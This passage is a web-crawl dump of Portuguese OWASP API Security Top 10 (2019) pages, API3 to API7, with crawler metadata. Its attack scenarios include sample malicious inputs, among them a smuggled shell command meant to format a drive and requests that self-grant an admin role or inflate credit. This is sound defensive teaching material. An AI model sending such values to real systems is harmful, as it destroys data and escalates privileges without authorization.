00:40:59", "sha256": "7ec56a2031b99aafaa82d847779e3b7703c002e4d4b6875b99465230937dce71", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism.md", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa3-excessive-data-exposure/", "titulek": "API3:2019 Excessive Data Exposure - OWASP API Security Top 10", "h1": "API3:2019 Excessive Data Exposure", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa3-excessive-data-exposure/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Excessive Data Exposure"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API3:2019 Excessive Data Exposure\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **3** | Prevalência **2** : Deteção **2** | Técnico **2** : Específico Negócio |\n| Abusar desta falha de segurança é simples e tipicamente passa pela inspeção do tráfego de rede para analisar as respostas da API em busca de dados que não devessem ser devolvidos ao utilizador. | As APIs delegam nos clientes a responsabilidade de filtrar os dados. Uma vez que as APIs são usadas como fonte de dados, com frequência os programadores procuram fazer implementações genéricas sem ter em consideração a relevância dos dados expostos. Regra geral as ferramentas automáticas não conseguem detetar este tipo de vulnerabilidade por ser difícil distinguir dados legítimos retornados pela API doutros sensíveis que não deveriam ser expostos. Esta tarefa exige um profundo conhecimento da aplicação. | *Excessive Data Exposure* tipicamente conduz à exposição de dados sensíveis. |\n\n## A API é vulnerável?\n\nQuando a API devolve dados sensíveis aos clientes. Estes dados são normalmente\nfiltrados pelo cliente antes de serem apresentados ao utilizador. Um atacante\npode facilmente inspecionar o tráfego de rede e aceder aos dados sensíveis.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nA equipa de desenvolvimento móvel usa o *endpoint* `/api/articles/{articleId}/comments/{commentId}` na interface de visualização\ndos artigos para apresentar os detalhes dos comentários. Inspecionando o tráfego\nde rede da aplicação móvel, um atacante descobre que outros dados sensíveis\nrelacionados com o autor do comentário fazem ainda parte da resposta da API. O\nmétodo `toJSON()`, pertencente ao modelo `User`, é usado na implementação do\nendpoint para preparar os dados a retornar, o qual inclui informação pessoal.\n\n### Cenário #2\n\nUm sistema de vigilância baseado em IoT permite aos utilizadores com perfil de\nadministrador criar outros utilizadores com diferentes permissões. Um\nadministrador cria uma conta de utilizador para um segurança recém-chegado, o\nqual apenas tem acesso a câmaras específicas instaladas no edifício. A aplicação\nmóvel usada pelo segurança realiza um pedido ao *endpoint* `/api/sites/111/cameras` para obter os dados relativos às câmaras a mostrar na\ninterface. A resposta contém a lista com os detalhes das câmaras no formato\n`{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}`. Embora na\ninterface apenas seja possível ver as câmaras às quais o guarda tem acesso, a\nresposta da API inclui informação sobre todas as câmaras instaladas.\n\n## Como Prevenir\n\n- Nunca delegar no cliente a responsabilidade de filtrar os dados.\n- Rever as respostas da API, certificando-se que apenas incluem dados legítimos.\n- Os engenheiros responsáveis devem questionar-se sempre sobre “quem são os\n consumidores dos dados” antes de exporem um *endpoint* .\n- Evitar a utilização de métodos genéricos tais como `to_json()` e `to_string()` . Pelo contrário, escolher uma-a-uma as propriedades que\n realmente devem ser devolvidas na resposta.\n- Classificar a informação sensível e pessoal (PII) que a API armazena e\n manipula, revendo todos as chamadas à API onde esta informação é devolvida por\n forma a avaliar se existe algum risco para a segurança.\n- Utilizar schemas para validar as respostas da API enquanto camada adicional de\n segurança. Como parte desta abordagem, definir e assegurar a validação das\n respostas do diferentes métodos HTTP, incluindo erros.\n\n## Referências\n\n### Externas\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 3533, "slov": 517, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:06", "sha256": "ae591d4140e59839918c2dafd80014b5dd0b766d1b88e8f7d5f3aca65f200c0c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 Lack of Resources & Rate Limiting - OWASP API Security Top 10", "h1": "API4:2019 Lack of Resources & Rate Limiting", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 Lack of Resources & Rate Limiting"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API4:2019 Lack of Resources & Rate Limiting\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **2** | Prevalência **3** : Deteção **3** | Técnico **2** : Específico Negócio |\n| Para abusar destas falhas basta realizar pedidos simples à API. Não é necessária autenticação. Múltiplos pedidos concorrentes podem ser realizados por um único computador ou fazendo uso de recursos computacionais na nuvem. | É comum encontrar APIs que não limitam o número de pedidos ou que usam limites desajustados. | O abuso destas falhas pode conduzir à negação de serviço (DoS), deixando a API incapaz de satisfazer outros pedidos ou mesmo indisponível. |\n\n## A API é vulnerável?\n\nOs pedidos a uma API consomem recursos tais como largura de banda, processador,\nmemória e armazenamento. A quantidade de recursos necessária para satisfazer um\npedido depende essencialmente da informação enviada pelo utilizador e da lógica\nde negócio implementa pelo *endpoint*. Deve ainda ter-se em consideração que os\npedidos de diferentes clientes concorrem entre si por estes recursos. A API é\nvulnerável se pelo menos um dos seguintes limites não está definido ou foi\nconfigurado com um valor desajustado (e.g. demasiado baixo/alto):\n\n- Tempo máximo de execução\n- Quantidade máxima de memória alocada\n- Número de ficheiros abertos\n- Número de processos\n- Tamanho do pedido (e.g., uploads)\n- Número de pedidos por cliente/recurso\n- Número de registos por página devolvidos numa única resposta a um pedido\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUm atacante carrega uma imagem de grandes dimensões realizando um pedido `POST`\npara o *endpoint* `/api/v1/images`. Após concluir o carregamento a API cria\nvárias miniaturas de diferentes dimensões. Devido à dimensão da imagem carregada\na memória disponível é esgotada durante a criação das miniaturas e a API fica\nindisponível.\n\n### Cenário #2\n\nUma aplicação apresenta uma listagem de utilizadores até ao limite de 200 por\npágina. A lista dos utilizadores é obtida por meio dum pedido ao *endpoint* `/api/users?page=1&size=200`. Um atacante altera o valor do parâmetro `size`\nde `200` para `200000`, causando problemas de performance no servidor de base de\ndados. Enquanto se verificam estes problemas de performance a API fica\nindisponível e incapaz de satisfazer pedidos de qualquer utilizador (DoS).\n\nO mesmo cenário pode ser usado para provocar erros do tipo *Integer Overflw* ou\n*Buffer Overflow*.\n\n## Como Prevenir\n\n- Tecnologias como Docker tornam mais fácil a definição de limites de [memória](https://docs.docker.com/config/containers/resource_constraints/#memory) , [processador](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [número de *restarts*](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) , [número de ficheiros abertos e processos](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) .\n- Limitar o número máximo de pedidos à API, por cliente, dentro dum determinado\n período de tempo.\n- Notificar o cliente quando o limite de pedidos foi excedido, informando o\n valor desse limite e o tempo restante para poder voltar a realizar novos\n pedidos.\n- Validar de forma adequada os parâmetros enviados na *query string* e corpo do\n pedido, em particular aqueles que controlam o número de registos a retornar na\n resposta.\n- Definir e forçar um tamanho máximo de dados para todos os parâmetros e dados\n de entrada, tais como comprimento máximo para os texto ou número máximo de\n elementos duma lista.\n\n## Referências\n\n### OWASP\n\n- [Blocking Brute Force Attacks](https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### Externas\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- \" *Rate Limiting (Throttling)* \" - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 4502, "slov": 575, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:15", "sha256": "675fe89e7226c2b6b8cd28075ce30226ae4c273317ba3c78ac20b2a0393c5116", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2019 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa5-broken-function-level-authorization/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 Broken Function Level Authorization"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API5:2019 Broken Function Level Authorization\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **3** | Prevalência **2** : Deteção **1** | Técnico **2** : Específico Negócio |\n| Para abusar deste tipo de falha o atacante tem de realizar pedidos legítimos ao *endpoint* da API ao qual não é suposto ter acesso. Estes *endpoints* podem estar disponíveis para utilizadores anónimos, ordinários ou não privilegiados. É fácil identificar estas falhas em APIs uma vez que estas são mais estruturada, sendo a forma de acesso a certas funcionalidades mais previsível (e.g., utilizar o método HTTP `PUT` ao invés de `GET` ou substituir a palavra \"user\" por \"admin\" no URL). | As verificações de autorização para aceder a uma determinada função ou recurso são normalmente geridas por configuração e às vezes ao nível da implementação. A correta implementação destes mecanismos pode tornar-se confusa, uma vez que, as aplicações modernas prevêem vários perfis ou grupos de utilizador, assim como complexos esquemas de hierarquia (e.g., sub-utilizadores, utilizadores com mais do que um perfil). | Estas falhas permitem aos atacantes aceder de forma não autorizada a certas funcionalidades. As funcionalidades administrativas são o alvo preferencial neste tipo de ataque. |\n\n## A API é vulnerável?\n\nA melhor forma de identificar falhas de verificação de autorização de acesso a\nfunções é através duma análise detalhada do mecanismo de autorização, devendo\nter-se em consideração o esquema de hierarquia de utilizadores, diferentes\nperfis ou grupos e questionando continuamente:\n\n- Utilizadores ordinários podem aceder aos *endpoints* de administração?\n- Os utilizadores podem realizar ações sensíveis (e.g. criar, modificar ou\n apagar) para as quais não deveriam ter acesso, alterando simplesmente o método\n HTTP (e.g. alterando de `GET` para `DELETE` )?\n- Um utilizador do grupo X pode aceder a uma função reservada ao grupo Y,\n adivinhando o URL do *endpoint* e os parâmetros (e.g. `/api/v1/users/export_all` )?\n\nNunca assuma o tipo dum *endpoint*, normal ou administrativo, apenas com base no\nURL.\n\nApesar dos programadores poderem ter decidido expor a maioria dos *endpoints*\nadministrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se\n*endpoints* administrativos sob outros prefixos, misturados com *endpoints*\nordinários e.g. `api/users`.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nDurante o processo de registo numa aplicação que apenas permite o registo de\nutilizadores por convite, é realizado um pedido `GET` ao *endpoint* `/api/invites/{invite_guid}`. A resposta em formato JSON contém detalhes sobre o\nconvite, incluindo o perfil de utilizador e o seu endereço de email.\nUm atacante duplica o pedido e altera o método HTTP e o *endpoint* do medido\npara `POST /api/invites/new`. Esta funcionalidade deveria estar apenas\ndisponível para administradores através da consola de administração, uma vez que\no *endpoint* não implementa verificações de autorização de acesso à função.\n\nO atacante abusa da falha e envia para si próprio um convite para criar uma\nconta de administrador:\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### Cenário #2\n\nUma API implementa um *endpoint* que é suposto estar apenas disponível para\nadministradores - `GET /api/admin/v1/users/all`. Este *endpoint* devolve os\ndetalhes de todos os utilizadores da aplicação e não realiza qualquer\nverificação de autorização de acesso à função. Com base no conhecimento\nadquirido sobre a estrutura da API um atacante consegue prever com um elevado\ngrau de certeza o URL do *endpoint*, ganhado acesso ao dados sensíveis de todos\nos utilizadores da aplicação.\n\n## Como Prevenir\n\nA sua API deve usar um módulo de autorização consistente e fácil de analisar, o\nqual deve ser invocado por todas as funções de negócio. Frequentemente, este\ntipo de proteção é oferecido por um ou mais componentes externos à lógica\naplicacional.\n\n- Por omissão todos os acesso devem ser negados, exigindo que permissões\n específicas sejam concedidas a perfis específicos para acesso a cada função.\n- Rever todos os *endpoints* à procura de falhas ao nível da verificação de\n autorização de acesso a funções, tendo sempre em consideração a lógica de\n negócio da aplicação e hierarquia dos grupos.\n- Assegurar que todos os controladores administrativos herdam dum controlador\n administrativo base que implementa as verificações de autorização com base no\n grupo/perfil do utilizador.\n- Assegurar que funções administrativas num controlador ordinário implementam\n elas próprias as verificações de autorização baseadas no grupo e perfil do\n utilizador.\n\n## Referências\n\n### OWASP\n\n- [OWASP Article on Forced Browsing](https://owasp.org/www-community/attacks/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://owasp.org/www-community/Access_Control)\n\n### Externas\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 5029, "slov": 720, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:38", "sha256": "bc28ad6a3de5676747a26e45028fa7b1dd8f4a9e52721f3b0db7c115da7b4fea", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa6-mass-assignment/", "titulek": "API6:2019 - Mass Assignment - OWASP API Security Top 10", "h1": "API6:2019 - Mass Assignment", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa6-mass-assignment/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 - Mass Assignment"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API6:2019 - Mass Assignment\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **2** | Prevalência **2** : Deteção **2** | Técnico **2** : Específico Negócio |\n| O abuso requer na maioria das vezes um conhecimento da lógica de negócio, de relações entre objetos, e da estrutura da API. Abusar de Mass Assignment é mais fácil em APIs, visto que por design elas expõem a implementação interna da aplicação e nomes de propriedades. | As *frameworks* modernas incentivam os programadores a usar funções que ligam automaticamente dados do cliente a variáveis no código e objetos internos. Os atacantes podem usar esta metodologia para atualizar ou mudar propriedades sensíveis de objetos que os programadores não pretendiam realmente expor. | O abuso pode levar a elevação de privilégios, manipulação de dados, contornar mecanismos de segurança, etc. |\n\n## A API é vulnerável?\n\nOs objetos em aplicações modernas podem conter muitas propriedades. Algumas\ndestas propriedades podem ser atualizadas diretamente pelo cliente (e.g.,\n`user.first_name` ou `user.address`), mas outras não (e.g., a *flag* `user.is_vip`).\n\nUm *endpoint* é vulnerável se converter automaticamente parâmetros do\ncliente em propriedades internas de um objeto, sem considerar a sensibilidade e\no nível de exposição destas propriedades. Isto pode permitir a um atacante\natualizar propriedades de objetos, às quais ele não deveria ter acesso.\n\nExemplos de propriedades sensíveis:\n\n- **Propriedades relacionadas com permissões** : `user.is_admin` , `user.is_vip` devem ser modificadas apenas por administradores.\n- **Propriedades dependentes de processos** : `user.cash` deve ser modificada\n apenas internamente depois da verificação de pagamento.\n- **Propriedades internas** : `article.created_time` deve ser modificada apenas\n internamente pela aplicação.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUma aplicação de partilha de transporte tem ao dispor do utilizador uma opção\npara editar informações básicas para o seu perfil. Durante este processo, um\npedido à API é enviado para `PUT /api/v1/users/me` com o seguinte objeto JSON\nlegítimo:\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nO pedido `GET /api/v1/users/me` incluí uma propriedade `credit_balance`\nadicional:\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nO atacante envia novamente o primeiro pedido com o seguinte conteúdo:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nDado que o *endpoint* é vulnerável a mass assignment, o atacante recebe crédito\nsem ter efetuado qualquer pagamento.\n\n### Cenário #2\n\nUm portal de partilha de vídeo permite carregar e descarregar conteúdo em\ndiferentes formatos. Um atacante que investigou a API descobriu que o *endpoint* `GET /api/v1/videos/{video_id}/meta_data` devolve um objeto JSON com as\npropriedades do vídeo. Uma das propriedades é\n`\"mp4_conversion_params\":\"-v codec h264\"`, que revela que a aplicação utiliza um\ncomando *shell* para converter o vídeo.\n\nO atacante também descobriu o *endpoint* `POST /api/v1/videos/new` que é\nvulnerável a Mass Assignment, permitindo ao cliente modificar qualquer\npropriedade do objeto. O atacante atribui um valor malicioso como o seguinte:\n`\"mp4_conversion_params\":\"-v codec h264 && format C:/\"`. Este valor vai causar\numa injeção de um comando *shell* assim que o atacante descarregar o vídeo no\nformato MP4.\n\n## Como Prevenir\n\n- Se possível, evitar usar funções que convertem automaticamente parâmetros do\n cliente em variáveis de código ou objetos internos.\n- Ter uma lista onde constam apenas os nomes das propriedades que o cliente pode\n atualizar.\n- Usar funcionalidades já existentes para ter uma lista de propriedades que não\n devem ser acedidas por clientes.\n- Se possível, definir explicitamente e forçar a utilização de *schemas* para o\n conteúdo dos pedidos.\n\n## Referências\n\n### Externas\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object\n Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 3886, "slov": 538, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:00", "sha256": "606289845d545f848e1cf7b025b7f4a355214ed80607baaf50b43b3f5f208acb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa7-security-misconfiguration/", "titulek": "API7:2019 Security Misconfiguration - OWASP API Security Top 10", "h1": "API7:2019 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa7-security-misconfiguration/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 Security Misconfiguration"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, {"uroven": 3, "text": "Cenário #1"}, {"uroven": 3, "text": "Cenário #2"}, {"uroven": 3, "text": "Cenário #3"}, {"uroven": 2, "text": "Como Prevenir"}, {"uroven": 2, "text": "Referências"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externas"}], "markdown": "# API7:2019 Security Misconfiguration\n\n| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos |\n| --- | --- | --- |\n| Específico da API : Abuso **3** | Prevalência **3** : Deteção **3** | Técnico **2** : Específico Negócio |\n| Os atacantes vão regra geral tentar encontrar falhas, *endpoints* comuns ou ficheiros e diretórios desprotegidos para ganhar acesso não autorizado ou conhecimento do sistema. | Falhas nas configurações de segurança podem acontecer em qualquer camada da API, desde o nível de rede ao aplicacional. Existem ferramentas automáticas para detetar e abusar destas falhas, tais como serviços desnecessários que se encontram em execução ou configurações antigas. | Estas falhas podem não só expor dados sensíveis dos utilizadores, mas também detalhes do sistema que permitam comprometer o servidor. |\n\n## A API é vulnerável?\n\nA API é vulnerável se:\n\n- As configurações para proteger o sistema estão em falta em qualquer das partes\n constituintes da API, ou se existem serviços na nuvem indevidamente\n configurados.\n- As últimas atualizações de segurança não foram aplicadas ou os sistemas estão\n desatualizados.\n- Existem funcionalidades ativas que não estão em uso (e.g., verbos HTTP).\n- A segurança do canal de comunicação não está assegurada: *Transport Layer\n Security* (TLS) em falta ou indevidamente configurado.\n- Diretivas de segurança não são enviadas aos clientes (e.g., [cabeçalhos HTTP de segurança](https://owasp.org/www-project-secure-headers/) ).\n- Não existe um política de Partilha de Recursos entre Origens (CORS) ou esta\n está indevidamente configurada.\n- As mensagens de erro incluem *stack traces* ou outra informação sensível.\n\n## Exemplos de Cenários de Ataque\n\n### Cenário #1\n\nUm atacante encontra o ficheiro `.bash_history` na diretoria raiz do servidor, o\nqual contém os comandos usados pela equipa de DevOps para aceder à API:\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nO atacante pôde assim identificar novos *endpoints* da API, destinados\nexclusivamente ao uso pela equipa de DevOps e que não estavam documentados.\n\n### Cenário #2\n\nTendo em vista um serviço específico, um atacante usa um conhecido motor de\nbusca de dispositivos diretamente acessíveis através da internet. O atacante\nencontrou um *host* a correr um conhecido sistema de gestão de base de dados, à\nescuta na porta padrão. Como o *host* estava a utilizar a configuração padrão, a\nqual tem o mecanismo de autenticação desativado por omissão, o atacante teve\nacesso a milhões de registo com informação pessoal (PII), preferências e dados\nde autenticação dos utilizadores.\n\n### Cenário #3\n\nInspecionando o tráfego de rede duma aplicação móvel, um atacante percebe que\nnem todo o tráfego usa um protocolo seguro (e.g., TLS), em particular aquele\nassociado às imagens de perfil de utilizador. Como as interações do utilizador\nna aplicação são binárias, apesar do tráfego da API ser enviado de forma segura,\no atacante identifica um padrão no tamanho das respostas da API, o qual usa para\nmapear as preferências do utilizador em relação ao conteúdo visualizado (e.g.,\nimagens de perfil).\n\n## Como Prevenir\n\nO ciclo de vida da API deve incluir:\n\n- Um processo de proteção reprodutível que possa ser implantado de forma fácil\n e rápida com vista a um ambiente de execução devidamente protegido.\n- Um processo de revisão e atualização de todas as camadas da API. A revisão\n deve incluir: ficheiros de orquestração, componentes da API e serviços na\n nuvem (e.g., permissões dos *buckets* S3).\n- Um canal de comunicação seguro para todas as interações da API no acesso a\n recursos estáticos (e.g., imagens).\n- Um processo automatizado para verificar de forma continua as configurações e\n definições em todos os ambientes (produção, *staging* , testes,\n desenvolvimento).\n\nE ainda:\n\n- Para prevenir que *stack traces* sejam incluídas nas mensagens de erro ou\n outra informação sensível seja fornecida aos atacantes, quando aplicável,\n defina *schemas* e verifique que todas as respostas da API estão em\n conformidade.\n- Assegure que a API só é acessível através do verbos HTTP especificados. Todos\n os demais verbos HTTP que não são utilizados deverão estar desativados (e.g., `HEAD` ).\n- As APIs destinadas a acessos por clientes a correr em navegadores (e.g.,\n WebApps) devem implementar uma política de Partilha de Recursos Entre Origens\n (CORS) adequada.\n\n## Referências\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/)\n- [OWASP Testing Guide: Configuration and Deployment Management](https://github.com/OWASP/wstg/tree/master/document/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing)\n- [OWASP Testing Guide: Testing for Error Handling](https://github.com/OWASP/wstg/tree/master/document/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling)\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/11-Client_Side_Testing/07-Testing_Cross_Origin_Resource_Sharing.md)\n\n### Externas\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 5407, "slov": 714, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:10", "sha256": "35c2844c4ac3e4139cd13f01ea9d442aa999b63b166a5b19b2a70c8675cc052e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/wstg/tree/master/document/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing", "https://github.com/OWASP/wstg/tree/master/document/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling", "https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/11-Client_Side_Testing/07-Testing_Cross_Origin_Resource_Sharing.md", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa8-injection/", "titulek": "API8:2019 Injection - OWASP API Security Top 10", "h1": "API8:2019 Injection", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/pt-pt/0xa8-injection/", "jazyk": "pt", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 Injection"}, {"uroven": 2, "text": "A API é vulnerável?"}, {"uroven": 2, "text": "Exemplos de Cenários de Ataque"}, 